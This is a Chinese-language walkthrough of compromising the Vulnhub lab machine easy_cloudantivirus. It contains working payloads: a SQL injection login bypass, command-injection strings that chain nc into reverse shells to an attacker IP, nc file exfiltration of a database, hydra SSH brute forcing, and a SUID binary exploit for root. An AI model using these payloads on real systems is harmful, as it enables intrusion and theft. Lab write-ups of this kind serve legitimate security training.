打靶记录——靶机easy_cloudantivirus
靶机下载地址
链接:https://pan.baidu.com/s/1OfrqdNKbabAkMvmoM70gbQ?pwd=gz0m
提取码:gz0m
- Vulnhub 的靶机都有一个特点,通常导入到 VMware Workstation 时都会获取不到 IP 地址,虽然可以进紧急模式中修改,但是太麻烦了,还是将 Kali 和靶机桥接吧。
- 注意:测试发现此靶机不能正常获取到ip地址,因此需要进入拯救模式,进入拯救模式的方法此 处不赘述,进入过后,重点更改网卡配置文件,由于Ubuntu 18.04 的网卡默认文件位置已经从以 前的位置变为了 /etc/netplan/50***.yaml,编辑这个文件将网卡名称改为 ens33 然后重启解决问 题。
涉及的攻击方法
- 端口扫描
- Web侦查
- SQL注入
- 命令注入
- 密码爆破
- 代码分析
- NC串联
- 本地提权
导入VMware虚拟机
下载完成后,得到easy_cloudantivirus.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。
打靶过程
主机发现
- Vulnhub 的靶机都有一个特点,通常导入到 VMware Workstation 时都会获取不到 IP 地址,虽然可以进紧急模式中修改,但是太麻烦了,还是将 Kali 和靶机桥接吧。
- 注意:测试发现此靶机不能正常获取到ip地址,因此需要进入拯救模式,进入拯救模式的方法此 处不赘述,进入过后,重点更改网卡配置文件,由于Ubuntu 18.04 的网卡默认文件位置已经从以 前的位置变为了 /etc/netplan/50***.yaml,编辑这个文件将网卡名称改为 ens33 然后重启解决问 题。
可以用arp-scan,但是这次用其他方法——arping,因为arping在Linux中比较常见,广泛度更好。arp-scan比较偏向于黑客工具
for i in $(seq 1 254); do sudo arping -c 2 192.168.174.$i; done
这段代码是一个 Bash 脚本,用于进行局域网中 IP 地址为 192.168.174.x
(其中 x 是从 1 到 254 的整数)的主机的 ARP 探测。
让我来逐步解释:
**for i in $(seq 1 254); do**
:for i in $(seq 1 254)
是一个循环语句,它会迭代从1到254的整数,存储在变量i
中。seq 1 254
是一个生成序列的命令,它会生成从1到254的整数序列。
**sudo arping -c 2 192.168.174.$i**
:sudo
表示以超级用户权限执行后面的命令,通常用于需要特权的命令操作。arping
是一个用于发送 ARP 请求的命令。-c 2
指定发送ARP请求的次数,这里是2次。192.168.174.$i
是一个IP地址的变量,$i
表示循环中当前的整数值,从1到254。因此,这个命令会依次发送ARP请求到局域网中的192.168.174.1
到192.168.174.254
的所有主机。
- 执行过程:
- 脚本首先从1到254循环,对每个循环中的
i
,执行一次arping -c 2 192.168.174.$i
命令。 arping
命令发送ARP请求,以确定局域网中每个指定IP地址的主机的MAC地址。-c 2
选项指定发送两个ARP请求,这有助于确保获取到响应,并减少了因网络问题而导致的丢失的概率。
- 脚本首先从1到254循环,对每个循环中的
- 用途:
- 这种技术通常用于扫描局域网中的主机,以检测和识别活动主机的IP地址和MAC地址。
- 在网络管理、安全测试或故障排除中,ARP探测是一种常见的方法,用于验证网络设备的可达性和响应性。
需要注意的是,执行该脚本需要有足够的权限(通常是超级用户权限),因为 arping
命令通常需要进行网络设备的直接访问和操作。
端口扫描、服务发现
使用Nmap进行端口扫描和服务版本的发现
nmap -p- 192.168.174.131
然后用 -sV 参数发现版本服务
-sV
参数能够检测目标主机上运行的具体服务及其版本号,如 Apache HTTP Server 2.4.38。
nmap -p22,8080 -sV 192.168.174.131
发现8080端口开放了HTTP服务,那我们访问看看
输入一个双引号
发现了SQL报错,是sqlite数据库,还有执行的SQL语句
使用万能密码登录 1" or 1=1 --+
发现了一些文件,可能是用来扫描病毒的文件
接下来通过命令注入漏洞来操作
反弹Shell
我们可以先看看有没有nc命令
发现是有的
构造payload: hello | nc 192.168.174.128 3333 -e /bin/bash
发现加上了 -e 参数没有用,可能是nc的版本问题
那我们先去掉-e参数,看看nc能不能正常使用,发现是能的
那接下来使用 nc 串联的方法,在3333端口输入的命令,会在4444端口显示出来
hello |nc 192.168.174.128 3333 |/bin/bash |nc 192.168.174.128 4444
查看一下 database.sql
下载下来看看内容,开启监听并将内容保存
nc -lvnp 5555 > db.sql
然后再3333端口处执行命令nc 192.168.174.128 5555 < datebase.sql
得到一些密码,再看看都有哪些账号,看看有shell的账号
cat /etc/passwd | grep /bin/bash
然后制作字典,接着用海德拉爆破SSH
hydra -L user.txt -P pass.txt ssh://192.168.174.131
发现失败了,那我们尝试其他的方法
在上级目录发现了两个文件
发现 updata_cloudav 具有可执行权限,并且属主是root,那么我们执行这个文件,再进行反弹shell,就能获得root的shell了
查看源代码,发现执行文件时需要在后面加上参数
提权
使用双引号是因为要把它们当成一个整体来执行,这样就不会断掉
./update_cloudav "a|nc 192.168.174.128 5555 | /bin/bash |nc 192.168.174.128 6666"
成功获得root权限
复盘总结
- 针对靶机,首先做了主机发现,当发现了它的目标IP地址之后
- 对它进行端口扫描和服务版本的发现,进而发现了一个HTTP的服务,工作在目标靶机的8080端口上
- 于是我们通过浏览器访问目标靶机8080端口上的Web服务
- 于是在这个Web页面上,我们发现了一个SQL注入漏洞,也可以使用暴力破解的方式去破解它的邀请码,进而去登录到Web应用的后台页面
- 在后台发现命令注入漏洞,利用命令注入漏洞获得反弹的Shell
- 然后在目标靶机上进行信息收集
- 在数据库文件中发现了一些疑似密码的字符串,于是利用这些密码来进行SSH的暴力破解,最终尝试失败
- 于是搜集更多信息,最终发现了一个拥有SUID权限的执行程序,然后通过代码审计,发现问题
SUID(Set User ID)权限是一种特殊的权限设置,用于在执行可执行文件时暂时改变执行该文件的用户的权限。它允许普通用户以超级用户(root)的权限来执行文件,这在某些情况下是非常有用的,比如需要访问一些只有管理员才能访问的资源或执行某些需要特权的操作,但又不希望用户真正成为超级用户。
- 最终找到利用这个漏洞的方式,最终取得目标靶机的Root权限